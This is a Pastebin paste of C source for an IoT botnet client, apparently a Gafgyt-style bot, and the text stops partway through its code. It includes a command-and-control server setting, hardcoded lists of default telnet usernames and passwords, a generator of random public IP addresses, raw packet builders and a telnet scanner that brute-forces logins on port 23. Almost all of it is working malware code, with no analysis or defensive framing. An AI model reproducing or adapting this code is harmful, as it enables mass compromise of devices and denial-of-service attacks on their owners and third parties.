Advertisement
CNCBOTNET

ArtOfWar.c

Jul 21st, 2017
476
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 75.14 KB | None | 0 0
  1. // ___ __ _
  2. // / \___ / _(_)_ __ ___ ___
  3. // / /\ / _ \ |_| | '_ \ / _ \/ __|
  4. // / /_// __/ _| | | | | __/\__ \
  5. // /___,' \___|_| |_|_| |_|\___||___/
  6.  
  7. #define PR_SET_NAME 15
  8. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  9. #define PAD_RIGHT 1
  10. #define PAD_ZERO 2
  11. #define PRINT_BUF_LEN 12
  12. #define CMD_IAC 255
  13. #define CMD_WILL 251
  14. #define CMD_WONT 252
  15. #define CMD_DO 253
  16. #define CMD_DONT 254
  17. #define OPT_SGA 3
  18.  
  19. // _____ _ _
  20. // \_ \_ __ ___| |_ _ __| | ___ ___
  21. // / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  22. // /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
  23. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  24.  
  25. #include <stdlib.h>
  26. #include <stdarg.h>
  27. #include <stdio.h>
  28. #include <sys/socket.h>
  29. #include <sys/types.h>
  30. #include <netinet/in.h>
  31. #include <arpa/inet.h>
  32. #include <netdb.h>
  33. #include <signal.h>
  34. #include <strings.h>
  35. #include <string.h>
  36. #include <sys/utsname.h>
  37. #include <unistd.h>
  38. #include <fcntl.h>
  39. #include <errno.h>
  40. #include <netinet/ip.h>
  41. #include <netinet/udp.h>
  42. #include <netinet/tcp.h>
  43. #include <sys/wait.h>
  44. #include <sys/ioctl.h>
  45. #include <net/if.h>
  46. #define STD2_STRING "swag!"
  47. #define STD2_SIZE 50
  48.  
  49. // ___ __ _
  50. // / __\___ _ __ / _(_) __ _
  51. // / / / _ \| '_ \| |_| |/ _` |
  52. // / /__| (_) | | | | _| | (_| |
  53. // \____/\___/|_| |_|_| |_|\__, |
  54. // |___/
  55.  
  56. unsigned char *commServer[] =
  57. {
  58. "0.0.0.0:23"
  59. };
  60.  
  61. // ___ _
  62. // / __\ _ _ __ ___| |_(_) ___ _ __ ___
  63. // / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  64. // / / | |_| | | | | (__| |_| | (_) | | | \__ \
  65. // \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  66.  
  67. int initConnection();
  68. int getBogos(unsigned char *bogomips);
  69. int getCores();
  70. int getCountry(unsigned char *buf, int bufsize);
  71. void makeRandomStr(unsigned char *buf, int length);
  72. int sockprintf(int sock, char *formatStr, ...);
  73. char *inet_ntoa(struct in_addr in);
  74.  
  75. // ___ _ _ _
  76. // / _ \ | ___ | |__ __ _| |___
  77. // / /_\/ |/ _ \| '_ \ / _` | / __|
  78. // / /_\\| | (_) | |_) | (_| | \__ \
  79. // \____/|_|\___/|_.__/ \__,_|_|___/
  80.  
  81. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  82. uint32_t *pids;
  83. uint32_t scanPid;
  84. uint64_t numpids = 0;
  85. struct in_addr ourIP;
  86. unsigned char macAddress[6] = {0};
  87. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0", "cisco\0"};
  88. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "support\0", "vizxv\0", "cisco\0"};
  89.  
  90. // ___ ___ __ __ ___
  91. // / __\/ _ \/__\ /\ \ \/ _ \
  92. // / _\ / /_)/ \// / \/ / /_\/
  93. // / / / ___/ _ \/ /\ / /_\\
  94. // \/ \/ \/ \_/\_\ \/\____/
  95.  
  96. #define PHI 0x9e3779b9
  97. static uint32_t Q[4096], c = 362436;
  98.  
  99. void init_rand(uint32_t x)
  100. {
  101. int i;
  102.  
  103. Q[0] = x;
  104. Q[1] = x + PHI;
  105. Q[2] = x + PHI + PHI;
  106.  
  107. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  108. }
  109.  
  110. uint32_t rand_cmwc(void)
  111. {
  112. uint64_t t, a = 18782LL;
  113. static uint32_t i = 4095;
  114. uint32_t x, r = 0xfffffffe;
  115. i = (i + 1) & 4095;
  116. t = a * Q[i] + c;
  117. c = (uint32_t)(t >> 32);
  118. x = t + c;
  119. if (x < c) {
  120. x++;
  121. c++;
  122. }
  123. return (Q[i] = r - x);
  124. }
  125.  
  126. // _ _ _
  127. // /\ /\| |_(_) |___
  128. // / / \ \ __| | / __|
  129. // \ \_/ / |_| | \__ \
  130. // \___/ \__|_|_|___/
  131.  
  132. void trim(char *str)
  133. {
  134. int i;
  135. int begin = 0;
  136. int end = strlen(str) - 1;
  137.  
  138. while (isspace(str[begin])) begin++;
  139.  
  140. while ((end >= begin) && isspace(str[end])) end--;
  141. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  142.  
  143. str[i - begin] = '\0';
  144. }
  145.  
  146. static void printchar(unsigned char **str, int c)
  147. {
  148. if (str) {
  149. **str = c;
  150. ++(*str);
  151. }
  152. else (void)write(1, &c, 1);
  153. }
  154.  
  155. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  156. {
  157. register int pc = 0, padchar = ' ';
  158.  
  159. if (width > 0) {
  160. register int len = 0;
  161. register const unsigned char *ptr;
  162. for (ptr = string; *ptr; ++ptr) ++len;
  163. if (len >= width) width = 0;
  164. else width -= len;
  165. if (pad & PAD_ZERO) padchar = '0';
  166. }
  167. if (!(pad & PAD_RIGHT)) {
  168. for ( ; width > 0; --width) {
  169. printchar (out, padchar);
  170. ++pc;
  171. }
  172. }
  173. for ( ; *string ; ++string) {
  174. printchar (out, *string);
  175. ++pc;
  176. }
  177. for ( ; width > 0; --width) {
  178. printchar (out, padchar);
  179. ++pc;
  180. }
  181.  
  182. return pc;
  183. }
  184.  
  185. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  186. {
  187. unsigned char print_buf[PRINT_BUF_LEN];
  188. register unsigned char *s;
  189. register int t, neg = 0, pc = 0;
  190. register unsigned int u = i;
  191.  
  192. if (i == 0) {
  193. print_buf[0] = '0';
  194. print_buf[1] = '\0';
  195. return prints (out, print_buf, width, pad);
  196. }
  197.  
  198. if (sg && b == 10 && i < 0) {
  199. neg = 1;
  200. u = -i;
  201. }
  202.  
  203. s = print_buf + PRINT_BUF_LEN-1;
  204. *s = '\0';
  205.  
  206. while (u) {
  207. t = u % b;
  208. if( t >= 10 )
  209. t += letbase - '0' - 10;
  210. *--s = t + '0';
  211. u /= b;
  212. }
  213.  
  214. if (neg) {
  215. if( width && (pad & PAD_ZERO) ) {
  216. printchar (out, '-');
  217. ++pc;
  218. --width;
  219. }
  220. else {
  221. *--s = '-';
  222. }
  223. }
  224.  
  225. return pc + prints (out, s, width, pad);
  226. }
  227. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  228. char *makestring() {
  229. char *tmp;
  230. int len=(rand()%5)+4,i;
  231. FILE *file;
  232. tmp=(char*)malloc(len+1);
  233. memset(tmp,0,len+1);
  234. char *pre;
  235. if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  236. else {
  237. int a=((rand()*rand())%45402)+1;
  238. char buf[1024];
  239. for (i=0;i<a;i++) fgets(buf,1024,file);
  240. memset(buf,0,1024);
  241. fgets(buf,1024,file);
  242. filter(buf);
  243. memcpy(tmp,buf,len);
  244. fclose(file);
  245. }
  246. return tmp;
  247. }
  248.  
  249. static int print(unsigned char **out, const unsigned char *format, va_list args )
  250. {
  251. register int width, pad;
  252. register int pc = 0;
  253. unsigned char scr[2];
  254.  
  255. for (; *format != 0; ++format) {
  256. if (*format == '%') {
  257. ++format;
  258. width = pad = 0;
  259. if (*format == '\0') break;
  260. if (*format == '%') goto out;
  261. if (*format == '-') {
  262. ++format;
  263. pad = PAD_RIGHT;
  264. }
  265. while (*format == '0') {
  266. ++format;
  267. pad |= PAD_ZERO;
  268. }
  269. for ( ; *format >= '0' && *format <= '9'; ++format) {
  270. width *= 10;
  271. width += *format - '0';
  272. }
  273. if( *format == 's' ) {
  274. register char *s = (char *)va_arg( args, int );
  275. pc += prints (out, s?s:"(null)", width, pad);
  276. continue;
  277. }
  278. if( *format == 'd' ) {
  279. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  280. continue;
  281. }
  282. if( *format == 'x' ) {
  283. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  284. continue;
  285. }
  286. if( *format == 'X' ) {
  287. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  288. continue;
  289. }
  290. if( *format == 'u' ) {
  291. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  292. continue;
  293. }
  294. if( *format == 'c' ) {
  295. scr[0] = (unsigned char)va_arg( args, int );
  296. scr[1] = '\0';
  297. pc += prints (out, scr, width, pad);
  298. continue;
  299. }
  300. }
  301. else {
  302. out:
  303. printchar (out, *format);
  304. ++pc;
  305. }
  306. }
  307. if (out) **out = '\0';
  308. va_end( args );
  309. return pc;
  310. }
  311.  
  312. int zprintf(const unsigned char *format, ...)
  313. {
  314. va_list args;
  315. va_start( args, format );
  316. return print( 0, format, args );
  317. }
  318.  
  319. int szprintf(unsigned char *out, const unsigned char *format, ...)
  320. {
  321. va_list args;
  322. va_start( args, format );
  323. return print( &out, format, args );
  324. }
  325.  
  326.  
  327. int sockprintf(int sock, char *formatStr, ...)
  328. {
  329. unsigned char *textBuffer = malloc(2048);
  330. memset(textBuffer, 0, 2048);
  331. char *orig = textBuffer;
  332. va_list args;
  333. va_start(args, formatStr);
  334. print(&textBuffer, formatStr, args);
  335. va_end(args);
  336. orig[strlen(orig)] = '\n';
  337. zprintf("buf: %s\n", orig);
  338. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  339. free(orig);
  340. return q;
  341. }
  342.  
  343. static int *fdopen_pids;
  344.  
  345. int fdpopen(unsigned char *program, register unsigned char *type)
  346. {
  347. register int iop;
  348. int pdes[2], fds, pid;
  349.  
  350. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  351.  
  352. if (pipe(pdes) < 0) return -1;
  353. if (fdopen_pids == NULL) {
  354. if ((fds = getdtablesize()) <= 0) return -1;
  355. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  356. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  357. }
  358.  
  359. switch (pid = vfork())
  360. {
  361. case -1:
  362. close(pdes[0]);
  363. close(pdes[1]);
  364. return -1;
  365. case 0:
  366. if (*type == 'r') {
  367. if (pdes[1] != 1) {
  368. dup2(pdes[1], 1);
  369. close(pdes[1]);
  370. }
  371. close(pdes[0]);
  372. } else {
  373. if (pdes[0] != 0) {
  374. (void) dup2(pdes[0], 0);
  375. (void) close(pdes[0]);
  376. }
  377. (void) close(pdes[1]);
  378. }
  379. execl("/bin/sh", "sh", "-c", program, NULL);
  380. _exit(127);
  381. }
  382. if (*type == 'r') {
  383. iop = pdes[0];
  384. (void) close(pdes[1]);
  385. } else {
  386. iop = pdes[1];
  387. (void) close(pdes[0]);
  388. }
  389. fdopen_pids[iop] = pid;
  390. return (iop);
  391. }
  392.  
  393. int fdpclose(int iop)
  394. {
  395. register int fdes;
  396. sigset_t omask, nmask;
  397. int pstat;
  398. register int pid;
  399.  
  400. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  401. (void) close(iop);
  402. sigemptyset(&nmask);
  403. sigaddset(&nmask, SIGINT);
  404. sigaddset(&nmask, SIGQUIT);
  405. sigaddset(&nmask, SIGHUP);
  406. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  407. do {
  408. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  409. } while (pid == -1 && errno == EINTR);
  410. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  411. fdopen_pids[fdes] = 0;
  412. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  413. }
  414.  
  415. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  416. {
  417. int got = 1, total = 0;
  418. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  419. return got == 0 ? NULL : buffer;
  420. }
  421.  
  422. static const long hextable[] = {
  423. [0 ... 255] = -1,
  424. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  425. ['A'] = 10, 11, 12, 13, 14, 15,
  426. ['a'] = 10, 11, 12, 13, 14, 15
  427. };
  428.  
  429. long parseHex(unsigned char *hex)
  430. {
  431. long ret = 0;
  432. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  433. return ret;
  434. }
  435.  
  436. int wildString(const unsigned char* pattern, const unsigned char* string) {
  437. switch(*pattern)
  438. {
  439. case '\0': return *string;
  440. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  441. case '?': return !(*string && !wildString(pattern+1, string+1));
  442. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  443. }
  444. }
  445.  
  446. int getHost(unsigned char *toGet, struct in_addr *i)
  447. {
  448. struct hostent *h;
  449. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  450. return 0;
  451. }
  452.  
  453. void uppercase(unsigned char *str)
  454. {
  455. while(*str) { *str = toupper(*str); str++; }
  456. }
  457.  
  458. int getBogos(unsigned char *bogomips)
  459. {
  460. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  461. char linebuf[4096];
  462. while(fdgets(linebuf, 4096, cmdline) != NULL)
  463. {
  464. uppercase(linebuf);
  465. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  466. {
  467. unsigned char *pos = linebuf + 8;
  468. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  469. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  470. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  471. strcpy(bogomips, pos);
  472. close(cmdline);
  473. return 0;
  474. }
  475. memset(linebuf, 0, 4096);
  476. }
  477. close(cmdline);
  478. return 1;
  479. }
  480.  
  481. int getCores()
  482. {
  483. int totalcores = 0;
  484. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  485. char linebuf[4096];
  486. while(fdgets(linebuf, 4096, cmdline) != NULL)
  487. {
  488. uppercase(linebuf);
  489. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  490. memset(linebuf, 0, 4096);
  491. }
  492. close(cmdline);
  493. return totalcores;
  494.  
  495. }
  496.  
  497. void makeRandomStr(unsigned char *buf, int length)
  498. {
  499. int i = 0;
  500. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  501. }
  502.  
  503. int recvLine(int socket, unsigned char *buf, int bufsize)
  504. {
  505. memset(buf, 0, bufsize);
  506.  
  507. fd_set myset;
  508. struct timeval tv;
  509. tv.tv_sec = 30;
  510. tv.tv_usec = 0;
  511. FD_ZERO(&myset);
  512. FD_SET(socket, &myset);
  513. int selectRtn, retryCount;
  514. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  515. while(retryCount < 10)
  516. {
  517. sockprintf(mainCommSock, "PING");
  518.  
  519. tv.tv_sec = 30;
  520. tv.tv_usec = 0;
  521. FD_ZERO(&myset);
  522. FD_SET(socket, &myset);
  523. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  524. retryCount++;
  525. continue;
  526. }
  527.  
  528. break;
  529. }
  530. }
  531.  
  532. unsigned char tmpchr;
  533. unsigned char *cp;
  534. int count = 0;
  535.  
  536. cp = buf;
  537. while(bufsize-- > 1)
  538. {
  539. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  540. *cp = 0x00;
  541. return -1;
  542. }
  543. *cp++ = tmpchr;
  544. if(tmpchr == '\n') break;
  545. count++;
  546. }
  547. *cp = 0x00;
  548.  
  549. // zprintf("recv: %s\n", cp);
  550.  
  551. return count;
  552. }
  553.  
  554. int connectTimeout(int fd, char *host, int port, int timeout)
  555. {
  556. struct sockaddr_in dest_addr;
  557. fd_set myset;
  558. struct timeval tv;
  559. socklen_t lon;
  560.  
  561. int valopt;
  562. long arg = fcntl(fd, F_GETFL, NULL);
  563. arg |= O_NONBLOCK;
  564. fcntl(fd, F_SETFL, arg);
  565.  
  566. dest_addr.sin_family = AF_INET;
  567. dest_addr.sin_port = htons(port);
  568. if(getHost(host, &dest_addr.sin_addr)) return 0;
  569. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  570. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  571.  
  572. if (res < 0) {
  573. if (errno == EINPROGRESS) {
  574. tv.tv_sec = timeout;
  575. tv.tv_usec = 0;
  576. FD_ZERO(&myset);
  577. FD_SET(fd, &myset);
  578. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  579. lon = sizeof(int);
  580. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  581. if (valopt) return 0;
  582. }
  583. else return 0;
  584. }
  585. else return 0;
  586. }
  587.  
  588. arg = fcntl(fd, F_GETFL, NULL);
  589. arg &= (~O_NONBLOCK);
  590. fcntl(fd, F_SETFL, arg);
  591.  
  592. return 1;
  593. }
  594.  
  595. int listFork()
  596. {
  597. uint32_t parent, *newpids, i;
  598. parent = fork();
  599. if (parent <= 0) return parent;
  600. numpids++;
  601. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  602. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  603. newpids[numpids - 1] = parent;
  604. free(pids);
  605. pids = newpids;
  606. return parent;
  607. }
  608.  
  609. int negotiate(int sock, unsigned char *buf, int len)
  610. {
  611. unsigned char c;
  612.  
  613. switch (buf[1]) {
  614. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  615. case CMD_WILL:
  616. case CMD_WONT:
  617. case CMD_DO:
  618. case CMD_DONT:
  619. c = CMD_IAC;
  620. send(sock, &c, 1, MSG_NOSIGNAL);
  621. if (CMD_WONT == buf[1]) c = CMD_DONT;
  622. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  623. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  624. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  625. send(sock, &c, 1, MSG_NOSIGNAL);
  626. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  627. break;
  628.  
  629. default:
  630. break;
  631. }
  632.  
  633. return 0;
  634. }
  635.  
  636. int matchPrompt(char *bufStr)
  637. {
  638. char *prompts = ":>%$#\0";
  639.  
  640. int bufLen = strlen(bufStr);
  641. int i, q = 0;
  642. for(i = 0; i < strlen(prompts); i++)
  643. {
  644. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  645. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  646. }
  647.  
  648. return 0;
  649. }
  650.  
  651. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  652. {
  653. int bufferUsed = initialIndex, got = 0, found = 0;
  654. fd_set myset;
  655. struct timeval tv;
  656. tv.tv_sec = timeout;
  657. tv.tv_usec = timeoutusec;
  658. unsigned char *initialRead = NULL;
  659.  
  660. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  661. {
  662. FD_ZERO(&myset);
  663. FD_SET(fd, &myset);
  664. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  665. initialRead = buffer + bufferUsed;
  666. got = recv(fd, initialRead, 1, 0);
  667. if(got == -1 || got == 0) return 0;
  668. bufferUsed += got;
  669. if(*initialRead == 0xFF)
  670. {
  671. got = recv(fd, initialRead + 1, 2, 0);
  672. if(got == -1 || got == 0) return 0;
  673. bufferUsed += got;
  674. if(!negotiate(fd, initialRead, 3)) return 0;
  675. } else {
  676. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  677. }
  678. }
  679.  
  680. if(found) return 1;
  681. return 0;
  682. }
  683.  
  684. // _____ ___ _ _ _
  685. // \_ \/ _ \ /\ /\| |_(_) |___
  686. // / /\/ /_)/ / / \ \ __| | / __|
  687. // /\/ /_/ ___/ \ \_/ / |_| | \__ \
  688. // \____/\/ \___/ \__|_|_|___/
  689.  
  690. static uint8_t ipState[5];
  691. in_addr_t getRandomPublicIP()
  692. {
  693. if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  694. {
  695. ipState[1]++;
  696. ipState[2]++;
  697. ipState[3]++;
  698. ipState[4]++;
  699. char ip[16];
  700. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  701. return inet_addr(ip);
  702. }
  703.  
  704. ipState[1] = 0;
  705. ipState[2] = 0;
  706. ipState[3] = 0;
  707. ipState[4] = 0;
  708. while(
  709. (ipState[1] == 0) ||
  710. (ipState[1] == 10) ||
  711. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 169)) ||
  712. (ipState[1] == 169 && ipState[2] == 254) ||
  713. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  714. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  715. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  716. (ipState[1] == 192 && ipState[2] == 168) ||
  717. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  718. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  719. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  720. (ipState[1] >= 224)
  721. )
  722. {
  723. ipState[1] = rand() % 255;
  724. ipState[2] = rand() % 255;
  725. ipState[3] = rand() % 255;
  726. ipState[4] = rand() % 255;
  727. }
  728.  
  729. char ip[16];
  730. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  731. return inet_addr(ip);
  732. }
  733.  
  734. in_addr_t getRandomIP(in_addr_t netmask)
  735. {
  736. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  737. return tmp ^ ( rand_cmwc() & ~netmask);
  738. }
  739.  
  740. unsigned short csum (unsigned short *buf, int count)
  741. {
  742. register uint64_t sum = 0;
  743. while( count > 1 ) { sum += *buf++; count -= 2; }
  744. if(count > 0) { sum += *(unsigned char *)buf; }
  745. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  746. return (uint16_t)(~sum);
  747. }
  748.  
  749. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  750. {
  751.  
  752. struct tcp_pseudo
  753. {
  754. unsigned long src_addr;
  755. unsigned long dst_addr;
  756. unsigned char zero;
  757. unsigned char proto;
  758. unsigned short length;
  759. } pseudohead;
  760. unsigned short total_len = iph->tot_len;
  761. pseudohead.src_addr=iph->saddr;
  762. pseudohead.dst_addr=iph->daddr;
  763. pseudohead.zero=0;
  764. pseudohead.proto=IPPROTO_TCP;
  765. pseudohead.length=htons(sizeof(struct tcphdr));
  766. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  767. unsigned short *tcp = malloc(totaltcp_len);
  768. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  769. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  770. unsigned short output = csum(tcp,totaltcp_len);
  771. free(tcp);
  772. return output;
  773. }
  774.  
  775. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  776. {
  777. iph->ihl = 5;
  778. iph->version = 4;
  779. iph->tos = 0;
  780. iph->tot_len = sizeof(struct iphdr) + packetSize;
  781. iph->id = rand_cmwc();
  782. iph->frag_off = 0;
  783. iph->ttl = MAXTTL;
  784. iph->protocol = protocol;
  785. iph->check = 0;
  786. iph->saddr = source;
  787. iph->daddr = dest;
  788. }
  789.  
  790. int sclose(int fd)
  791. {
  792. if(3 > fd) return 1;
  793. close(fd);
  794. return 0;
  795. }
  796.  
  797. // _____ _ _ __ _ _
  798. // /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
  799. // / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  800. // / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
  801. // \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
  802.  
  803. void StartTheLelz()
  804. {
  805. int max = (getdtablesize() / 4) * 3, i, res;
  806. fd_set myset;
  807. struct timeval tv;
  808. socklen_t lon;
  809. int valopt;
  810.  
  811.  
  812. struct sockaddr_in dest_addr;
  813. dest_addr.sin_family = AF_INET;
  814. dest_addr.sin_port = htons(23);
  815. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  816.  
  817. struct telstate_t
  818. {
  819. int fd;
  820. uint32_t ip;
  821. uint8_t state;
  822. uint8_t complete;
  823. uint8_t usernameInd;
  824. uint8_t passwordInd;
  825. uint32_t totalTimeout;
  826. uint16_t bufUsed;
  827. char *sockbuf;
  828. } fds[max];
  829. memset(fds, 0, max * (sizeof(int) + 1));
  830. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  831. struct timeval timeout;
  832. timeout.tv_sec = 5;
  833. timeout.tv_usec = 0;
  834. while(1)
  835. {
  836. for(i = 0; i < max; i++)
  837. {
  838. switch(fds[i].state)
  839. {
  840. case 0:
  841. {
  842. memset(fds[i].sockbuf, 0, 1024);
  843.  
  844. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  845. else {
  846. fds[i].passwordInd++;
  847. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  848. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  849. }
  850. dest_addr.sin_family = AF_INET;
  851. dest_addr.sin_port = htons(23);
  852. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  853. dest_addr.sin_addr.s_addr = fds[i].ip;
  854. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  855. setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  856. setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  857. if(fds[i].fd == -1) { continue; }
  858. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  859. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { /*printf("close %lu\n",fds[i].ip);*/ sclose(fds[i].fd); fds[i].complete = 1; }
  860. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  861. }
  862. break;
  863.  
  864. case 1:
  865. {
  866. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  867.  
  868. FD_ZERO(&myset);
  869. FD_SET(fds[i].fd, &myset);
  870. tv.tv_sec = 0;
  871. tv.tv_usec = 10000;
  872. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  873. if(res == 1)
  874. {
  875. lon = sizeof(int);
  876. valopt = 0;
  877. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  878. if(valopt)
  879. {
  880. sclose(fds[i].fd);
  881. fds[i].state = 0;
  882. fds[i].complete = 1;
  883. } else {
  884. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  885. fds[i].totalTimeout = 0;
  886. fds[i].bufUsed = 0;
  887. memset(fds[i].sockbuf, 0, 1024);
  888. fds[i].state = 2;
  889. continue;
  890. }
  891. } else if(res == -1)
  892. {
  893. sclose(fds[i].fd);
  894. fds[i].state = 0;
  895. fds[i].complete = 1;
  896. }
  897.  
  898. if(fds[i].totalTimeout + 5 < time(NULL)) //was if(fds[i].totalTimeout + 5 < time(NULL))
  899. {
  900. sclose(fds[i].fd);
  901. fds[i].state = 0;
  902. fds[i].complete = 1;
  903. }
  904. }
  905. break;
  906.  
  907. case 2:
  908. {
  909. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  910. if(matchPrompt(fds[i].sockbuf)) {
  911. fds[i].state = 7;
  912. }
  913.  
  914. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  915. {
  916. fds[i].totalTimeout = 0;
  917. fds[i].bufUsed = 0;
  918. memset(fds[i].sockbuf, 0, 1024);
  919. fds[i].state = 3;
  920. continue;
  921. } else {
  922. fds[i].bufUsed = strlen(fds[i].sockbuf);
